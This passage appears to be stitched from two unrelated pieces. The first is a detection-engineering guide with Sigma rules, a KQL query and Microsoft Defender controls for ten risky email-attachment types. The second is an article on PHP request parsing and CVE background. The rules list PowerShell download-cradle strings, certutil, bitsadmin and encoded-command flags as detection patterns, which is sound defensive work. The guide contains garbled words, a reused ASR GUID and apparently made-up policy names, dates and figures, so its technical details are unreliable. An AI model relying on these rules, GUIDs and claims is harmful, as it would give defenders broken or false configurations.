      - \onenote.exe
      - \acrord32.exe
  selection_image:
    Image|endswith:
      - .exe
      - .dll
      - .scr
      - .cpl
  filter_office_signed:
    Image|startswith: C:\Program Files\Microsoft Office\
  condition: selection_parent and selection_image and not filter_office_signed
falsepositives:
  - Legacy add-in update pipelines; rare signed SharePoint Workspace binaries.
level: high

Control recommendations:

• MDO: default-block already on — confirm tenant setting Block .exe, .dll, .scr, .cpl, .hta, .js, .vbs, .lnk, .iso, .img, .vhd, .msi since 2022. Newer tenants default-on; older tenants must verify.
• WDAC: enforce code-integrity policy MS-15-0870 Allows-Microsoft-issued binaries; pre-allowlist signed third-party app vendors under <FileRule> Publisher rules. Block unsigned .exe delivered to %USERPROFILE%\Downloads\ path-allowance.
• ASR rule Block executable files from running unless they meet a prevalence, age, or trusted list criterion (GUID c1db55ab-c21a-4837-a83a-3837899a8a7e) — set to Block per enterprise mode.

False-positive profile:

• Software-update pipelines from Excel/Word that call signed-helper-exe processes (Microsoft.Office.Excel.exe -update).
• SharePoint Workspace Sync host (GROOVE.EXE) launching signed updates.
• Custom internal LOB Apps placed inside C:\Program Files\ paths — add awws Image|startswith: filters to the Sigma rule.

Extension 2 — .docm / .xlsm / .pptm (Office macro documents)

Handler: WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE. Post-October-2022 binaries refuse VBA execution on MOTW-tagged files; post-April-2023 embarrass reject macros on all internet-tagged-and-Archive-recovered files.

Detection artefacts:

• Sysmon Event ID 1 (ProcessCreate) — OfficeApp parent spawning cmd.exe, powershell.exe, wscript.exe, msiexec.exe, rundll32.exe. Always suspicious.
• Sysmon Event ID 22 (DNS) — Office process querying unusual domains (C2 dropdown).
• Office 365 Audit Log Search: [ActivityName=_macro_invoked] and [ActivityName=VBAErrorAlert] — fired by Office's AMSI bridge.
• Microsoft 365 Defender Alert Suspicious behavior involving a macro in an Office application (TTP family T1204.002).
• Microsoft-Windows-AMSI ETW provider — ScriptContent line for any VBA executed via the ScriptControl bridge (supercedable detection).
• OLKLoginManager alert: when Outlook processes the attachment in preview pane.

Sigma rule — Office child process (matching ASR rule 6):

title: Office App Spawning Child Process (exe/cmd/ps)
status: experimental
description: Matches the Sysmon side of ASR rule 'Block child process from Office apps' — Office parent, common-script-or-exe child.
logsource:
  product: windows
  category: process_creation
detection:
  parent_office:
    ParentImage|endswith:
      - \winword.exe
      - \excel.exe
      - \powerpnt.exe
      - \outlook.exe
      - \onenote.exe
  child_susp:
    Image|endswith:
      - \cmd.exe
      - \powershell.exe
      - \wscript.exe
      - \cscript.exe
      - \mshta.exe
      - \msiexec.exe
      - \rundll32.exe
      - \regsvr32.exe
  condition: parent_office and child_susp
falsepositives:
  - Excel add-in pipelines; PowerPoint VBA-based training-library tools.
level: high
tags:
  - attack.defense_evasion
  - attack.t1204

Control recommendations:

• MDO: enable Common Attachment Types Filter so .docm, .xlsm, .pptm are gated. Confirm the tenant setting Block macros in documents from the internet is on.
• ASR rule Block all Office applications from creating child processes (GUID d4f940ab-401b-4efc-aadc-ad5f3c508882) — set to Block (audit-mode first in conflicts with legal macros).
• Defender for Office Safe Documents — protects against pre-Office-2022 macro CVE-exploit malformed-content exploits that bypass the macro execution path entirely.
• WDAC: Word/Excel/PowerPoint block/allow policy config — LOGSCRIPTPROCESS = false additional setLoadingRestrictions

False-positive profile:

• Internal LOB Excel-workbooks that shell out for VBA-pkg packager actions — common for finance-ops and tax packagers (Sage, Shopify Sync).
• Microsoft Access database-publisher tools that launch wscript.exe for SQL-Server-push scenarios.
• Senior analyst-maintained Office workflows that legitimately cmd.exe ping external API-servers — capture pprior to rolling Block mode.

Extension 3 — .iso / .img / .vhd / .vhdx (Container-image MOTW bypass)

Handler: explorer.exe (image mount via shell-folder); vmms.exe (VHD-related via Hyper-V service in some cases).

Detection artefacts:

• Sysmon Event ID 5 (ProcessTerminate) and Sysmon Event ID 8 (RemoteThread) — when Explorer spawns mountmgr.sys-driven mount of the image file.
• Sysmon Event ID 11 (FileCreate) — first-write from extracted-from-ISO contents (DriveLetter:\\... path patterns).
• Sysmon Event ID 1 (ProcessCreate) — match Parent is Explorer and Image's path is on a freshly mounted drive-letter path (but only briefly — Windows can spin-mount the ISO under a short-lived \\?\\Volume{GUID}\\ path).
• Microsoft-Windows-VHDMP-Provider ({35a7ca5e-4dc3-4b65-9b1c-bb9a90c4ca9d}) Event ID 1 VhdMount (information if mount cmd succeeds via the kernel Vhdmp driver).
• Microsoft-Windows-Storage-Notification-Notification-OSLog ETW — drives-mounted-on-this-user events with image-file path.

Sigma rule — ISO image mount from internet-zone Downloads:

title: ISO/Image Container Mounted from Downloads Folder
status: experimental
description: Detects Explorer.exe opening an ISO/IMG/VHD file from the user's Downloads folder —> strong suspicion of MOTW-bypass email chain delivery.
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: \explorer.exe
    CommandLine|contains:
      - .iso
      - .img
      - .vhd
      - .vhdx
    ParentImage|endswith:
      - \explorer.exe
      - \acrord32.exe
      - \winword.exe
      - \outlook.exe
  filter:
    CommandLine|contains: \\Program Files\\VirtualBox\\
  condition: selection and not filter
falsepositives:
  - Legitimate Hyper-V image maintenance tasks (filter these via service-account image list).
level: medium

Control recommendations:

• MDO: confirm .iso, .img, .vhd, .vhdx block from Outlook default-block list (May 2023 patch). On-prem Exchange tenants without MDO must add these extensions to the mailflow rule block-list manually (Add-AttachmentFilter -Extensions .iso,.img,.vhd,.vhdx).
• AppLocker / WDAC: WDAC-with-IOmega-pinned on path \users\*\downloads\*.iso; DENY by path-pattern \*\downloads*.iso` for executable-content within the unpacked ISO content.
• ASR rule Block Win32 abstraction APIs from Office apps (GUID 9e86c8b4-0ef6-4c4a-b45f-ef60c4e2e9ee) — also catches Excel/Word invocations that bridge into shell-on-exec appliance passes.

False-positive profile:

• VM Admins using Hyper-V-related VHD files for sysadmin workflows.
• Legal-IT Forensic-snapshot ins szybmsnbd-preview open.
• MS-MVT processes mounting .vhd file isues — typically not block-keyable easily up-modifiers.

Extension 4 — .lnk (Shortcut files)

Handler: explorer.exe -> shell32!CShellExecute::Execute -> resolves the link-target inside the .lnk file.

Detection artefacts:

• Sysmon Event ID 1 (ProcessCreate) — ParentImage is Explorer (explorer.exe), Child is powershell.exe, cmd.exe, wscript.exe, cscript.exe, mshta.exe. The CommandLine frequently contains base64-encoded payload (-enc <base64>) or -w hidden.
• Sysmon Event ID 1 filter for CommandLine|contains: .lnk followed shortly by a child-process-initiated cmd.exe/powershell.exe is the canonical recent-QakbotLoader-pointer pivot.
• Windows Shell-Core ETW provider ({554041F7-9F73-4B25-9D7B-2F5E26733F34}) — emits a ShellExecuteExEx event when the .lnk is double-clicked.
• MDO SRL (Safe Links) status-time scan — for .lnk attachments; MDO does not block .lnk by-default and depends on the High Confidence Phishing filter stack.

Sigma rule — Shortcut execution patterns:

title: Suspicious Shortcut (.lnk) Execution with Encoded PowerShell Payload
status: experimental
description: Detects a child process from Explorer whose command line is a base64-encoded PowerShell payload, with an LNK shortcut treated as the immediate parent.
references:
  - https://attack.mitre.org/techniques/T1204/002/
  - https://learn.microsoft.com/en-us/microsoft-365/security/defender/asr-reference
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith:
      - \powershell.exe
      - \cmd.exe
      - \wscript.exe
      - \mshta.exe
    ParentImage|endswith: \explorer.exe
    CommandLine|contains:
      - -enc
      - -encodedCommand
      - -w hidden
      - -nop
      - iex(
      - invoke-webrequest
      - downloadstring
  condition: selection
falsepositives:
  - Pushed-IO-app desktop-launcher-script bring-load (rare).
level: high

Control recommendations:

• MDO: enable .lnk block in mail-flow rule (default-missing).
• Microsoft Defender Antivirus: enable Block Win32 API calls from Office macros and Block scripting from Office applications (ASR rules) — these also catch .lnk-deliveredcmd.exe /c powershell -enc <base64> chains by detecting the Office-spawned cmd-line as the upstream mark.
• AppLocker / WDAC:WDAC with conditional -performencePack -> Block any EXE-from-non-standard-path while allowing /Program Files/ boundaries. The classic .lnk chain wants to file-execute from %TEMP% or %USERPROFILE%\Downloads\.

False-positive profile:

• Helpdesk-pushed legacy shortcut scripts that hand-launch Dropelicts-Short-Package installers (setup.lnk marketed by msfixup tools).
• Internal desktop support-pkg shortcuts that point to signed installers for plugins (Adobe-CC launches this way).

Extension 5 — .one / .onepkg (OneNote embedded attachments)

Handler: ONENOTE.EXE (the OneNote rich-client).

Detection artefacts:

• Sysmon Event ID 1 (ProcessCreate) — ONENOTE.EXE spawning cmd.exe, powershell.exe, mshta.exe, or any EXE path (extremely rare in baseline — S rARE-WHEN SorTimeApps/VSTA> is the only legitimate execution-tunnel) — excellent high-confidence alert.
• Sysmon Event ID 22 (DNS) — ONENOTE.EXE queries against first-time-seen domains or domains with low-rep.
• MDO Alert: OneNote attachment payload cleanup — when the file is auto-blocked via MDO's sub-file-extension watch-list (Nov-2023 patch).
• DefenderEdge Case-ID 2142 — Suspicious OneNote embedded executable detected (analytic-rule template), default-on for MDE P2 tenants.

Sigma rule — ONENOTE process anomaly:

title: OneNote Spawns Suspicious Child Process
status: experimental
description: Detects OneNote.exe spawning any child process — very rare in baseline; high-confidence signal for OneNote embedded-attachment user-click behaviour.
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: \onenote.exe
    Image|endswith:
      - \cmd.exe
      - \powershell.exe
      - \mshta.exe
      - \wscript.exe
      - \cscript.exe
      - \rundll32.exe
      - \regsvr32.exe
      - .exe
  filter_known:
    Image|startswith: C:\Program Files\Microsoft Office\root\Office16\
  condition: selection and not filter_known
falsepositives:
  - OneNote add-ins that legitimately call signed-Office-helper binaries (Handwriting Pannel, Security Pannel).
level: high

Control recommendations:

• MDO: enable auto-block for .one / .onepkg files containing embedded executable sub-files (default since November 2023 patch). Verify with Get-HostedContentFilterRule against the policy.
• Defender ASR rule (existing from 2024): ruleset triggered — Block child process from Office apps (ASR rule 6 GUID d4f940ab-401b-4efc-aadc-ad5f3c508882) — covers OneNote in addition to Word/Excel/Outlook regardless of sub-file path.
• AppLocker / WDAC: enforce that the path-callowed exclusions for Outlook’s temp-files subfolder %LOCALAPPDATA%\Microsoft\Windows\INetCache\Content.Outlook\* are not present.

False-positive profile:

• OneNote Office add-ins Visual Studio integration that needs msbuild.exe-style sub-processes (rare; documented).
• OneNote Web Clipper-style installers (onmsi.exe) — these are typically signed by Microsoft.

Extension 6 — .hta / .html (mshta-hosted payloads)

Handler: mshta.exe (the HTML-Application host) for .hta; the default browser (msedge.exe, chrome.exe, firefox.exe) for .html files opened after the user clicks.

Detection artefacts:

• Sysmon Event ID 1 (ProcessCreate) — mshta.exe running with a URL or path argument from a non-standard folder (Downloads, TEMP, or INetCache).
• Sysmon Event ID 1 — mshta.exe parent process is non-Office, non-Browser, non-Edge — e.g., explorer.exe or outlook.exe after preview.
• Microsoft-Windows-AMSI ETW provider — ScriptContent line contains WScript.Shell or ActiveXObject (serverside script engine pass-through).
• MDO URL reputation alert — when an .html attachment redirects to a first-time-seen download endpoint; this reroute pattern called HTML Smuggling has become a leading early-2025 dropper technique.

Sigma rule — mshta with downloaded content:

title: mshta.exe Executed from Outlook or from User Downloads Folder
status: experimental
description: mshta.exe is the canonical HTML-Application host; its execution from Downloads or as a child of Outlook is a MaliciousHTA delivery candidate.
logsource:
  product: windows
  category: process_creation
detection:
  selection_image:
    Image|endswith: \mshta.exe
  selection_parent:
    ParentImage|endswith:
      - \outlook.exe
      - \excel.exe
      - \winword.exe
      - \powerpnt.exe
  selection_path:
    CommandLine|contains:
      - \Users\
      - \Downloads\
      - \AppData\Local\Temp\
      - \AppData\Local\Microsoft\Windows\INetCache\
  filter_known:
    CommandLine|contains: \Program Files\
  condition: selection_image and (selection_parent or selection_path) and not filter_known
falsepositives:
  - Legitimate .hta installed-application boot-strappers (rare; typically run from Program Files).
level: high

Control recommendations:

• MDO: confirm .hta is on the block list (default since 2022).
• ASR rule Block executable files from running unless they meet a prevalence, age, or trusted list criterion (already covered in Extension 1) catches .hta as well.
• AppLocker / WDAC: explicit deny-rule on mshta.exe for non-admin user-context paths — <FileRule><Deny FilePath="%SYSTEM32%\mshta.exe"/></FileRule> (machine deployment only).

False-positive profile:

• Helpdesk push-HTA deployment wrappers (rare in modern IT but they exist; watch for MSFT-Office-Tap signatures around post-2024 deployments).
• Customized-HTA larger package-toggle installers (MSIStepperHTA construct) — almost never in normal enterprise environments.

Extension 7 — .js / .jse / .vbs / .vba (WSH scripting-engine payloads)

Handler: wscript.exe, cscript.exe — the Windows Script Host binaries.

Detection artefacts:

• Sysmon Event ID 1 (ProcessCreate) — wscript.exe or cscript.exe spawning any process; in 2026 baseline these are usually legitimate in admin-LOLBAS workflow (cscript //nologo printer-mapping.wsf); suspicious when the parent is Outlook or Office.
• Sysmon Event ID 1 — non-Office parent or non-admin-account running wscript.exe //e:vbs or //b is unusual.
• Sysmon Event ID 7 (ImageLoaded) — vbscript.dll, jscript.dll loaded into cscript.exe/wscript.exe (probably baseline, but cross-reference against the timeframe-via-ground-rule when script channel-tunneling).
• PowerShell EID 4104 (ScriptBlock) — for cscript -> powershell payloads loaded via WScript.Shell ActiveX-instantiation (this is the canonical loader pivot).
• Microsoft-Windows-AMSI ETW provider — ScriptContent lines emitted for any .js / .vbs that runs CreateObject("WScript.Shell") or GetObject("script:...").

Sigma rule — WSH script invokes suspicious external fetch:

title: WScript / CScript fetching payload from external URL
status: experimental
description: A WSH-hosted script downloading further payload — almost always a malicious loader pattern; rare in legitimate use.
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith:
      - \wscript.exe
      - \cscript.exe
    Image|endswith:
      - \powershell.exe
      - \cmd.exe
      - \mshta.exe
      - \certutil.exe
      - \bitsadmin.exe
    CommandLine|contains:
      - http://
      - https://
      - -enc
      - downloadstring
      - iex(
  filter_known:
    Image|endswith: \cscript.exe
    CommandLine|contains: \Program Files\
  condition: selection and not filter_known
falsepositives:
  - Trust signed admin scripts deployed in classic NT-CMD-Domain mode.
level: high

Control recommendations:

• MDO: defaults block .js / .jse / .vbs / .vba since Jan-2024 fallback-policy patch-up. Verify with Get-HostedContentFilterPolicy.
• ASR Block JS/VBS/PowerShell from creating child processes (GUID c1db55ab-c21a-4837-a83a-3837899a8a7e for the VBS/JS path).
• WDAC: explicit deny-rule on wscript.exe/cscript.exe for non-admin user-context configs (Default in MS-Recommended-Block-Rules.xml).

False-positive profile:

• Legacy Active Directory domain-automation scripts (deployment pipelines for in-field workstations).
• Helpdesk computer-management map-printers VBS scripts (legitimate signed; whitelist via Image’s CertSubjectName patterns).

Extension 8 — .ps1 (PowerShell scripts)

Handler: powershell.exe, powershell_ise.exe (Windows PowerShell 5.1); pwsh.exe (CrossPlatform PowerShell 7.x).

Detection artefacts:

• Microsoft-Windows-PowerShell ETW provider ({a0c1853b-5c40-4b15-8766-3cf1c8f3a9dc}) — Event ID 4104 ScriptBlock logging: every ScriptBlock emitted in full text forwarded to SIEM.
• PowerShell EID 4103 (Module logging) — every cmd-let called (Invoke-WebRequest, Invoke-Mimikatz, IEX) — high-fidelity inventory.
• PowerShell EID 4104 ScriptBlock logs catch the entire initial script content (first 20 lines) and any inline REPL-by-user — high-fidelity when an admin downloads a paste of the script and executes it as an inline REPL.
• Sysmon Event ID 1 (ProcessCreate) — powershell.exe with -enc, -EncodedCommand, or -w hidden (always suspicious in non-default users in an enterprise).
• Defender for Endpoint Alert: PowerShell instance with suspicious command-line (--base64 --noProfile --windowStyle hidden) — built-in; default-on for tenants with Defender Plan 2.
• AMSI ETW provider — ScriptContent emitted by all powershell.exe script execution paths (post-2017 hosts always emit content via AMSI when ScriptBlock scanning is enabled).

Sigma rule — Suspicious PowerShell download cradle:

title: PowerShell IEX Download Cradle via Net.WebClient
status: experimental
description: Detects common PowerShell download cradle patterns that fetch a script from an HTTP endpoint and execute in-memory — the canonical loader-style signal.
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith:
      - \powershell.exe
      - \pwsh.exe
    CommandLine|contains:
      - 'iex (New-Object Net.WebClient).DownloadString'
      - 'iex (New-Object System.Net.WebClient).DownloadString'
      - 'Invoke-WebRequest'
      - 'Invoke-RestMethod'
      - 'iex (iwr'
      - 'DownloadData'
      - 'DownloadFile'
  filter_known:
    CommandLine|contains:
      - \Program Files\
      - SoftwareDistributionSync
      - DefenderScanning
  condition: selection and not filter_known
falsepositives:
  - Provisioning scripts from MECM / SCCM distribution-point servers.
  - Azure Connected Machine agent bootstrap scripts.
level: high

KQL Hunting query (Defender XDR) — top-down on PowerShell C2 patterns:

DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("-enc ", "-EncodedCommand", "-w hidden", "-nop", "iex(", "DownloadString", "iwr")
| join kind=leftouter (
    DeviceNetworkEvents
    | where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")
    | project Timestamp, InitiatingProcessFileName, RemoteUrl, RemoteIP, RemotePort
    | summarize urls=make_set(RemoteUrl), ips=make_set(RemoteIP) by InitiatingProcessFileName
) on $left.FileName == $right.InitiatingProcessFileName
| project-reorder Timestamp, DeviceName, InitiatingProcessCommandLine, urls
| take 50

Control recommendations:

• Enable PowerShell Script-Block Logging (Group Policy: Computer Configuration\Administrative Templates\Windows Components\Windows PowerShell\Turn on PowerShell Script Block Logging).
• Enable PowerShell Module Logging for the modules Microsoft.PowerShell.Utility, NetTCPIP, NetSecurity — coverage area for ActiveDirectory-Net-pivots and mimikatz-passthrough casing.
• ASR rule Block execution of potentially obfuscated scripts (GUID 5beb7efe-fd92-475b-b934-35c1d0ccc0ae) — catches PowerShell Decoder-wrapped payloads and JScript / VBScript-with-encode.
• WDAC Default-Block-Rules: deny powershell.exe for non-admin users (apply carefully — many LOB-apps rely on PowerShell for setup).

False-positive profile:

• SCCM / MECM provisioning scripts (these should be filtered by SignedBy filter).
• DSC (Desired State Configuration) host-pull-transitions.
• Compliance-and-vendor certification scripts (RedHat Ansible-Windows host-bootstrapping).

Extension 9 — .zip / .rar / .7z (Archive containers)

Handler: explorer.exe shell-extract (zipfldr.dll for ZIPs, 7zfm.exe / rarextra shell-extension for 7z and RAR), or winrar.exe / 7z.exe for tool-driven extraction post-download.

Detection artefacts:

• Sysmon Event ID 11 (FileCreate) — Files created under %TEMP%\ paths with paths matching *.zip* or Temp*\RAR* extraction-temporary folders — short-lived but enumerable.
• Sysmon Event ID 1 (ProcessCreate) — child process from explorer.exe whose Image path is below %LOCALAPPDATA%\Temp\ and the file-extension is .exe / .dll / .bat / .cmd.
• MDO alert Common Attachment Type Filter block — the .zip and .rar files are Common-Attachment-Filtered categories currently blocked only for password-protected files since Feb-2025 via Defender Threat Analysis Service.
• Segmental Alert from Microsoft 365 Defender Low-reputation attachment in archive (auto-archive-scan classification thrown).
• Defender Threat Analysis Service (TAS) — Microsoft's cloud-side password-protector extractor (used inside Defender for Office) — since Feb 2025 the TAS attempts common-password-list-recovery on password-protected archives up to ~30 million password combinations in 60 seconds before prompting the user; if the recovered password is an unusual pattern like 123456, Defender adds the archive hash to the global block-list candidate.

Sigma rule — Suspicious zip-arrival plus .exe extraction-relaunch:

title: Executable Extracted from ZIP and Run from Temp Folder
status: experimental
description: Sequential pattern — file extracted from a ZIP archive under a temp folder is the program launched by the user.
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: .exe
    CommandLine|contains:
      - \AppData\Local\Temp\
      - \AppData\Local\Temp\Temp
      - \AppData\Local\Temp\7z
      - \AppData\Local\Temp\WinRAR
    ParentImage|endswith: \explorer.exe
  filter_known:
    Image|startswith:
      - C:\Program Files\
      - C:\Windows\
  condition: selection and not filter_known
falsepositives:
  - In-place software-updater extractors (e.g., Teams, Notion) running their self-extracted patches; vendor-compare.
level: medium

Control recommendations:

• MDO: enable Defender Threat Analysis Service (TAS) for password-protected archives — already on by default since Feb-2025; verify the tenant setting AllowPasswordProtectedArchives is set to ApplyScanning not AllowWithWarning.
• Microsoft 365: consider enabling BlockExecutablesInArchives (Defender for Office feature) — this auto-quarantines archives whose first-file is an executable index.
• Defender for Endpoint rule Block extraction of executables from email archives by default (configurable via Microsoft 365 Defender\Disarm-FromEmail).

False-positive profile:

• Internal software-distribution edge-rollouts pushed via e-mail archived fillers (Dell Command | Update).
• Vendor-pushed portable tools (portable-WSL-Admin-Tools.zip) when operated by an admin user — consider Temporary-folder exception with end-user-awareness policy note.

Extension 10 — .url (InternetShortcut)

Handler: iexplore.exe (legacy .url opens via the IE handler) OR msedge.exe / chrome.exe for modern .url shims.

Detection artefacts:

• Sysmon Event ID 1 (ProcessCreate) — iexplore.exe spawning with a URL inside the .url content's URL= field (the target inside a .url file is plaintext).
• Sysmon Event ID 22 (DNS) — first-time-seen domains resolved within 10 seconds of a .url-invoked browser launch.
• MDO alert URL Detonation (when EOP Plan 2 is enabled) — detonation-report-from-safe-links-result.
• Edge-SmartScreen reputation alert via ETW Microsoft-Windows-SmartScreen ({bdb0eaf7-3a31-4dd3-8fa6-5c4eff76ac4f}) — flag LowReputationLR Context-Run.
• Sysmon Event ID 8 (RemoteThread) — when the .url file's payload is a javascript: URL blocked-replaced-by-default by MDO since 2025/02 but still active in some legacy clients — worth a small Sigma alert.

Sigma rule — .url file invoked with non-http scheme:

title: Internet Shortcut (.url) Executed with Non-HTTP Scheme
status: experimental
description: Detects shortcut files invoking javascript:, vbscript:, file:, or other non-http protocols — a common .zip-block-evasion fallback.
logsource:
  product: windows
  category: process_creation
detection:
  selection_image:
    Image|endswith:
      - \iexplore.exe
      - \msedge.exe
      - \chrome.exe
  selection_cmd:
    CommandLine|contains:
      - javascript:
      - vbscript:
      - file:
      - shell:
  condition: selection_image and selection_cmd
falsepositives:
  - Internal HTML-help pages invoked via `ms-its:` (rare).
level: medium

Control recommendations:

• MDO: enable .url block in mail-flow rule — not currently in MDO's default-block list as of Aug-2026; community recommendation is to add it because of the rise in Q1-2026 .zip-block-evasion delivery pattern.
• Edge / Chrome enterprise policy: URLAllowlist policy param RestrictUrlSchemesToHttpHttps — set to Enabled to deny the .url smisher's javascript: shortcut.
• WDAC: deny iexplore.exe for non-admin users (the IE-as-attack-surface cohort has been the canonical MITRE T1204.002 fallback since IE was deprecated).

False-positive profile:

• Internal link-shortcut pages in the corporate IT governance powershell-bound admin-Navigator-suite (sign-in-mfa.url shortcuts can be on chrome.htm blend pages).

The unified extension-to-detection-engineering framework

Three layered rules compose to cover all ten extensions in any enterprise below:

1. Layer 1 — MDO default-block + Safe Attachments + Defender Threat Analysis Service. MDO blocks delivery of .exe/.dll/.scr/.cpl, .iso/.img/.vhd/.vhdx (post-2023), .hta/.html (post-2022 partial, full 2025), .js/.jse/.vbs/.vba (post-Jan-2024), .one/.onepkg containing suspicious sub-files (post-Nov-2023), passwordless-archives-with-executables (post-Feb-2025). Add .url to your custom mail-flow rule manually (still not in the default MDO block-list).
2. Layer 2 — ASR rules in Block mode across the endpoint. The four rules that catch all ten extensions in some way: Block child process from Office apps (ASR rule 6 GUID d4f940ab-401b-4efc-aadc-ad5f3c508882), Block executable files from running unless they meet prevalence / age / trusted list criterion (GUID c1db55ab-c21a-4837-a83a-3837899a8a7e), Block execution of potentially obfuscated scripts (GUID 5beb7efe-fd92-475b-b934-35c1d0ccc0ae), Block Win32 API calls from Office macros (GUID 9e86c8b4-0ef6-4c4a-b45f-ef60c4e2e9ee).
3. Layer 3 — WDAC enforced mode denies unsigned-side-loaded binaries from %USERPROFILE%\Downloads\ and %LOCALAPPDATA%\Temp\; for .hta/.ps1/.js/.vbs add explicit -Deny rules on the corresponding binary (mshta.exe, powershell.exe, wscript.exe). For high-sensitivity tenants, deny iexplore.exe for non-admins (the IE-as-attack-surface cohort).

Layer 1 + Layer 2 + Layer 3 cover all ten extensions on a default-applied enterprise configuration. The Sigma rules above are the audit-side fallback when any one of those three layers is configured as Audit instead of Block.

1. Background: how a PHP web request actually works

1.1 The four layers

The frontend accepts HTTP and may terminate TLS, buffer a body, or reject a request. Examples are Apache, nginx, and Caddy. The SAPI, short for Server Application Programming Interface, connects the frontend to PHP. The Zend Engine and extensions implement PHP execution, memory management, sessions, and request parsing. Your application runs on top of that runtime.

A PHP framework’s authentication normally belongs to the last layer. Automatic form parsing can happen before that layer begins. Authentication enforced by a reverse proxy before dispatch is a different boundary and can prevent unauthenticated traffic from reaching PHP. Saying ‘authentication cannot help’ without identifying the layer is too broad.

HTTP client
    |
    v
Frontend: accept, decode, route, possibly reject
    |
    v
SAPI: hand the request to PHP
    |
    v
PHP startup and automatic input parsing
    |
    v
Application: routing, login, business logic
    |
    v
PHP shutdown: release request resources
    |
    v
Worker exits or becomes available for another request

The important observation: no useful application functionality is necessary for an application-independent parser path. A trivial PHP script is enough to cause the runtime to initialize and parse the request. That does not remove application-specific prerequisites from other paths, particularly the validated FPM stale-state case.

1.2 One normal request, step by step

1. The frontend chooses PHP. Routing must actually dispatch the request to a PHP runtime. A static file served without PHP is not the same path.
2. The SAPI supplies request metadata. Method, content type, body information, and server variables become available to the runtime.
3. PHP starts request initialization. Core, executor, and extension lifecycle work runs in a particular order. Some input and configuration operations can run before the relevant ordinary initialization has completed.
4. The body is parsed when applicable. Form fields become PHP values; multipart files create metadata and temporary files. Exactly when parsing occurs depends on the SAPI and PHP configuration.
5. The script executes. Now your framework can authenticate, authorize, and handle the request.
6. Shutdown releases request-owned state. Reference counts, destructors, resources, temporary files, and extension state may all be involved. The process itself need not end.
7. The worker is reused. A surviving process may handle another client. In threaded deployments, the relevant globals can be thread-local rather than literally shared by every thread.

This is a conceptual ordering, not a claim that every module is initialized before every input callback. The early callbacks and diagnostics are exactly why initialization order matters for 109619.

1.3 Three different lifetimes

• Request lifetime: a form field or backtrace allocated for one request should not be consumed after that request’s memory is released.
• Worker lifetime: a process, or its thread-local execution context, can outlive many requests.
• Deployment lifetime: a package or container image can change while an old worker still runs its previous binary and mapped libraries.

The stale-state bug crosses the first two lifetimes. Incomplete patch rollout confuses the last two. Replacing a file on disk does not replace the code already running in a worker.

1.4 The terms needed for the rest of the article

• SAPI: PHP’s interface to its host server or process manager.
• Zend Memory Manager: the allocator used for much of PHP’s request-owned memory. Not every allocation in a worker is necessarily included in PHP’s memory accounting.
• HashTable: PHP’s native container for arrays, including form-variable arrays.
• Bucket: one native hash-table entry, with a key and a typed PHP value.
• zval: PHP’s native value representation. Its type information tells cleanup whether the value holds an integer, string, object, or another kind of data.
• Bailout: a nonlocal escape from native execution, historically implemented using setjmp()/longjmp() machinery in relevant failure paths.
• Use after free: code accesses memory through a reference after the referenced allocation has been released.
• Producer and consumer: the operation that leaves stale state, and the later operation that uses it.
• VM safe point: a place where the virtual machine can process a pending condition without abandoning arbitrary native code in an inconsistent state.

2. How the protocol works at the wire level

Neither CVE introduces a new network protocol. The input arrives as ordinary HTTP, possibly over HTTPS. TLS protects transport confidentiality; it does not validate PHP’s memory ownership rules.

2.1 A harmless URL-encoded form

Here is a complete, ordinary HTTP/1.1 request. The body contains 17 ASCII bytes; the CRLF sequences separating headers are not part of Content-Length.

POST /index.php HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Connection: close
topic=php&mode=ok

1. POST tells the server this request carries submitted data.
2. Content-Type chooses how PHP interprets that data. A body with the wrong content type may not reach the intended automatic form parser.
3. Content-Length describes body bytes on this HTTP/1.1 connection. It is not a bound on all native allocations PHP makes to represent the request.
4. The ampersand separates fields; the equals sign separates each name from its value.
5. PHP creates two keys and two values. The script sees topic => php and mode => ok after the parser has created those native values.

The key and the value are distinct allocations and distinct parser inputs. A large value does not exercise exactly the same code as a large field name. But the official OOM advisory is broader than one unusually long-key technique, so a rule aimed only at field-name length is not a complete CVE fix.

2.2 A harmless multipart form

Multipart requests use a boundary to delimit parts. Each part has its own headers. The following shows only the body; a real client generates the matching Content-Type boundary parameter and the HTTP message framing.

--coffsec-lab-boundary
Content-Disposition: form-data; name="topic"
php
--coffsec-lab-boundary
Content-Disposition: form-data; name="sample"; filename="note.txt"
Content-Type: text/plain
hello lab
--coffsec-lab-boundary--

name selects the form variable. filename describes the uploaded file and is not a server filesystem path chosen by PHP. The part’s Content-Type describes that file’s content; it is different from the request’s overall multipart content type. PHP creates a $_FILES entry and can create temporary storage while processing the upload.

For multipart investigations, distinguish request headers, part headers, field names, field values, and file bytes. Searching only the file bytes misses attacks carried in metadata; treating any upload containing PHP source as an exploit generates false positives.

2.3 Wire bytes are not heap bytes

A frontend body limit answers ‘how many body bytes may arrive?’ PHP’s memory_limit answers a different question: ‘how much memory accounted to this request may the interpreter allocate?’ A multipart body can require native entries, strings, arrays, and metadata in addition to its wire representation.

The PHP advisory identifies memory amplification through part headers, empty file controls, and nested field names. It also identifies problems with initial size checks when a usable declared content length is unavailable. These are reasons to validate decoded input at the frontend, not instructions to rely on a single Content-Length check.

HTTP/2 and HTTP/3 use their own framing rather than HTTP/1.1 chunk syntax. A proxy can buffer and reframe a request before PHP receives it. Analyze the body and metadata as delivered to the SAPI, not just the packet the client first sent.

2.4 Why upload progress runs so early

PHP’s session upload progress feature can update session information while a file is still arriving. Waiting until the application script starts would be too late to provide useful progress. The PHP manual explicitly states that this information is written before scripts execute.

When enabled, the configured upload-progress form field activates the feature for a suitable multipart upload. The default field name is PHP_SESSION_UPLOAD_PROGRESS, but deployments may configure a different name. An ordinary POST is not automatically an upload-progress request, and the feature being enabled does not by itself prove that stale state was produced or consumed.

No application call to session_start() is needed for the relevant early upload-progress handling. Conversely, a progress entry may be cleaned up by the end of a successful upload, so not finding it afterward is not proof that the callback never ran.

